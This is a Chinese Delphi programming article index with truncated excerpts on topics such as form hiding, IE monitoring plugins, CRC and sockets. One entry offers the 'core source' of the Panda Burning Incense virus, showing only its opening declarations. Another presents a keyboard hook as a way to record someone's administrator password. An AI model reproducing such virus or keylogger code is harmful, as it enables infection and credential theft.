delphi隐藏窗体:QQ窗体自动隐藏效果探究(3)

四、进一步完善  上面的代码已经基本实现了窗体的自动隐藏效果,但是我在介绍代码的时候有两个问题是被提出但没有被解答的。  首先是为什么触发隐藏时Fanchors中将至少有一个值而不多于两个值呢?注意代码中对Fanchors的赋值是通过四个判断进行的,那么如果触发隐藏的话,Fanchors中将毫无疑问会有一个值存在,但这种情况是针对隐藏发生在屏幕的四边而言。当窗体被推入到屏幕的四角时,那么Fanch... [阅读全文]

delphi隐藏窗体:QQ窗体自动隐藏效果探究(2)

三、初步的实现  首先我们定义一个过程对WM_MOVING消息进行拦截处理,代码如下:……privateFAnchors: TAnchors;procedure WMMOVING(var Msg: TMessage); message WM_MOVING;……uses Math,type;procedure TForm1.WMMOVING(var Msg: TMessage); begininhe... [阅读全文]

监控程序:开发嵌入式IE浏览器监控程序

随着网络的发展和普及,对网络的监控日益成为网络安全的必然要求,也是管理和维护网络的一个有效手段。当前已经有多种应用比较广泛的网络监控和过滤程序,如美萍网管、we-blocker等,它们都可以实现基于网络URL和IP地址的监控和过滤功能。 本文将对如何开发一个嵌入到IE浏览器中的监控程序进行介绍,该程序可以根据网络URL和IP地址进行监控和过滤,并且记录系统日志,从而使你对IE(当然是使用它的用户)... [阅读全文]

delphi功能:用Delphi来DIY一个软件\"变脸\"功能

软件的“换肤”技术早已不是什么新鲜事了,但细心的朋友一定已经发现了,现在正悄悄地流行了一种新的改善视觉效果的方法——这里我斗胆定义为“换肤色”技术吧!用过Winamp 5、Windows MediaPlay 9、MSN Messenger 6、QQ2004这些新版本软件了吧,呵呵,全都采用了所谓换汤不换药的“换肤色”技术。挺有意思是吧,下面我们就“自己动手,丰衣足食”。   准备   首先我用e... [阅读全文]

监控程序:开发嵌入式IE浏览器监控程序(3)

2.注册/卸载COM对象  注册COM对象包括注册COM对象,以及将COM对象的有关信息写入到IE浏览器扩展功能指定的注册表位置,下面分别对其注册方法进行介绍。卸载方法分别和注册方法相对应。  (1)注册/卸载COM对象。一种方法是在Delphi开发环境下运行Run|Register ActiveX Server/Run|Unregister ActiveX Server自动完成COM对象的注册/... [阅读全文]

监控程序:开发嵌入式IE浏览器监控程序(2)

嵌入式IE浏览器监控程序的实现  嵌入式IE浏览器监控程序的实现主要包括监控程序的实现和维护程序的实现两部分,根据程序开发过程,可以将其分为四个步骤,下面分别对各个实现步骤进行详细介绍。1.实现COM对象  开发COM对象的任务就是建立一个能够与IE浏览器的MSHTML COM服务器建立连接并且通过接口回调实现控制功能的COM对象,具体实现过程如下:  (1)运行Delphi,依次点击File|N... [阅读全文]

delphiwindowsapi:Delphi编写Windows外壳扩展

利用Delphi编写Windows外壳扩展对于操作系统原理比较了解朋友都会知道个完备操作系统都会提供了个外壳(Shell)以方便普通用户使用操作系统提供各种功能Windows(在这里指是Windows95\\WindowsNT4.0以上版本操作系统)外壳不但提供了方便美观GUI图形界面而且还提供了强大外壳扩展功能大家可能在很多软件Software中看到这些外壳扩... [阅读全文]

delphi编译指令:Delphi编译指令说明

A.1 使用编译设置对话框编译器编译指令是用于指定编译器对项目编译过程动作和行为可以通过[Project]-[Options]-[Complier]选项页进行设置绝大部分编译环境都可以通过这对话框进行调整他包含了对代码、语法、调试信息等设置1.代码设置(Code Generation)Optimization :代码优化开关Aligned record fie... [阅读全文]

控制系统菜单

用Delphi方便的实现了这一功能。  为实现这一功能,需要解决两个问题:①、如何把用户菜单项加入系统菜单,②、如何才能响应这一菜单项。  要解决第一个问题,就需要获取系统菜单的句柄,这一点可用API函数getsystemmenu()来获取(getmenu()只能获取用户菜单句柄),有了系统菜单句柄,便可以用API函数appendmenu()向系统菜单中加入用户菜单选项了。  要解决第二个问题,需... [阅读全文]

Delphi开发视频聊天软件

摘要:目前网上视频聊天软件Software、视频会议软件Software、可视IP电话软件Software随处可见你是否想自己做个玩玩?其实这类软件Software无非是视频加上网络而建成如果熟悉视频捕捉和网络传输技术根本就难不倒你微软为软件Software开发人员提供了个专门用于视频捕捉VFW SDK(Video for Windows SDK)用它实现视频捕... [阅读全文]

crc算法及c语言实现:CRC算法的实现

unit Crc32;erfaceuses Windows,SysUtils,Classes;const //Crc32表 Table:Array[0..255] of DWORD= ( $00000000, $77073096, $EE0E612C, $990951BA, $076DC419, $706AF48F, $E963A535, $9E6495A3, ... [阅读全文]

Delphi开发视频聊天软件(2)

3.1.4编码事件代码    开始按钮代码: CapWnd := capCreateCaptureWindow(\'我窗口\', WS_VISIBLE or WS_CHILD,//窗口样式 0, //X坐标 0, //Y坐标 panel1.Width, //窗口宽 panel1.Height, //窗口高 panel1.handle, //窗口句柄 0); /... [阅读全文]

delphiforphp:Delphi for PHP 全面剖析

DelphiForPHP的试用版,需要注意的是官方授权的试用时间,只有一天,俺从业10年以来首次认识大公司这种特有销售风格! CodeGearAnnouncesGeneralAvailabilityofDelphi®forPHP DevelopersSayDelphi’sRapidApplicationDevelopmentEnvironment MakesItEasierandFaste... [阅读全文]

键盘hook:用HOOK监视键盘

如果你想在任何时候监控任何程序的情况那可能你就会选择HOOK来实现了,虽然还有其他方法,但不得不承认,HOOK是一个比较简单解决问题的途径。 下面就来举个例子(使用Delphi7.0调试通过): 如果你需要访问某个人的机器,那在运行\\\\SB之后那个人就会在你机器上敲入他的adminsitrator密码,当然,你也可以使用黑客工具来得到他的密码,但是,为什么不自己尝试一下写个程序记录所有的键... [阅读全文]

delphi局域网聊天:Delphi局域网传递消息程序代码

向窗体上添加两个TLabel组件、两个TEdit组件和一个TButton组件  首先声明NetMessageBufferSend函数,该函数在netapi32.dll库中: type  NET_API_STATUS=LongInt;  functionNetMessageBufferSend(servername:LPCWSTR;msgname:LPCWSTR;  fromname:LPCWSTR... [阅读全文]

delphisocket:Delphi的Socket I/O模型介绍

  老陈有个在外地工作女儿不能经常回来老陈和她通过信件联系他们信会被邮递员投递到他们信箱里   这和Socket模型非常类似下面我就以老陈接收信件为例讲解SocketI/O模型   :select模型   老陈非常想看到女儿信以至于他每隔10分钟就下楼检查信箱看是否有女儿信在这种情况下“下楼检查信箱”然后回到楼上耽误了老陈太多时间以至于老陈无法做其他工作   s... [阅读全文]

hash使用方法:Delphi中Hash表的使用方法

  在游戏开发中经常需要保存一些数据结构,并且在使用的时候需要快速的查找出来.Hash表正是为了提高检索速度而设计出来的.下面我就将我在用Delphi开发中使用Hash表的方法写出来,希望对大家有一定的帮助!  在Delphi中有一个THashedStringlist类,使用这个类可以实现Hash表的操作.使用这个类需要引用IniFiles头文件.  例如:我们定义的数据结构是:以下是引用片段: ... [阅读全文]

熊猫烧香核心源码(Delphi模仿版本)

本文来自互联网仅供学习和研究使用后果自行负责造成任何损失和本站无关特此声明program Japussy;uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};const HeaderSize = 82432; //病毒体大小 IconOff = $12EB8; ... [阅读全文]

html超级链接:如何获取本地HTML文件的标题,超级链接

本文用于提取本地网页的标签元素如TITLE/TITLE,IMG,A/A...的内容,非常实用于批量文件的操作,这是按一般文件进行文本查找替换无法比拟的,,而这是使用TWEBBROWSER控件无法做到的。类似的,你可以把本地的HTML文件转换成MHT文件(这是个大家觉得很棘手的问题,本人已经搞定)。//uses activex,mshtmlfunction Html_GetTitleFr... [阅读全文]

程序间相互通讯问题的解决

在制作一个小程序的过程中,遇到程序间通讯的问题,而且两个程序分别是用pb跟delphi开发的,查阅网上资料,根据程序对于响应时间的要求,我选择了postmessage函数来解决通讯问题,代码如下pb: string ls_Classname,ls_WindowName ulong ll_winhandle uint li_result setnull(ls_ClassName) ... [阅读全文]

delphi多线程:delphi多线程程序示例(与.net一样简单)

(*----下面这个程序介绍了我们在使用线程及未使用线程二种情况下,运行该程序的反应。当点UsedThread按钮时,则建立一个线程,这时我们可以在程序进行计算的同时,改变窗体的尺寸及移动它。当按下NoUsedThread按钮时,不建立线程,我们会发现在程序没有计算完之前根本不能做其它任何事情!unit Unit1;interfaceuses Windows, Messages, Sy... [阅读全文]

如何实现托盘标准化:实现在virtualStringtree中编辑的标准步骤

1.设置TVirtualStringTree属性: toFullRowSelect : false; toMultiSelect:false; toExtendedFocous:true; toEditable:true; editDelay:0 //如果不editnode则不会CREATE EDITOR2.实现virtualString... [阅读全文]

delphi播放声音:使用Delphi开发多媒体播放音轨问题的FAQ(原创)

最近一段时间,在CSDN和DFW上常看见问于切换音轨和切换声道的问题。在这做一个小结。大家可以转载。让菜鸟收益! 转载时,作者希望在最大程度上保持原有信息!1、什么是声(音)轨、声道?  在早先的VCD时代,一个媒体文件只有一个音轨。故“音轨”一词不常被人们提及。VCD媒体文件中的伴唱或原唱,只有通过切换左右声道来实现。  音轨是随着DVD而来的“产物”。在DVD(MPEG2格式)媒体... [阅读全文]

知识管理:建立自己的csdn知识管理库(1)

建立自己的csdn知识管理库(1)csdn是这两年我上来频率最高的论坛,以前喜欢到大富翁。但是很多时候上来是为了搜索以前的帖子,解决在项目开发中的一些实际问题,搜获不小。但是也有一个遗憾,就是csdn有时候访问速度非常的慢,而且也没有提供官方的离线浏览器。所以就萌生的写一个下载csdn帖子的软件。然后把从csdn接收到的帖子放在自己的知识管理系统里面,或者做成chm 这样效率就高多了。... [阅读全文]

Delphi中的包(一):关于exe的编译、连接和执行

最近搞Delphi发现原来中使用了很多包但是总是处于懵懵懂懂状态索性来好好研究下这个问题可能要花些时间所以首先把需要分析问题列出来:什么是包?什么是exe?它们在组成上有什么区别?包跟dcu是什么关系?dcp是干什么?这些文件在编译时是什么关系?又是如何装载?装载了以后如何样操作包?dll可以exports但是为什么delphi帮助中不提... [阅读全文]

Delphi中的包(三):bpl和dll

曾经听说过“bpl就是一种特殊的dll”,但是没有想到这句话具有这么大的意义。最近看到有人在属于某个dpk的Unit里面写export语句,觉得非常惊奇。但是遍查delphi的help,与export相关的都是library。今天看了《delphi源代码分析》,才知道上面这句话的含义。因此有下面的推论:对dll工程来说,exports既可以写在工程文件里面,也可以写在Unit里面,没什... [阅读全文]

twebbrowser:如何获取TWebBrowser控件的超级链接

procedure getAllLinks2(WB: TWebBrowser; var InnerText,Links: TStringList);//needs unit as :shDocVw,Classes,MSHTML,variantsvarHtmldoc : IHtmlDocument2;AllLinks : IhtmlElementCollection;Len,I : In... [阅读全文]

死锁的解决方法:解决了datatree的‘死节点’问题

//问题描述见 howto 文代码最终版本见下文//标红色部分为解决问题关键//标蓝色部分为datatree所要求即前文提供解决方案但并不奏效procedure TScriptProperty.DataTreeDragDrop(Sender: TBaseVirtualTree; Source: TObject; DataObject: I... [阅读全文]
< 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 > >> 共1366条 分46页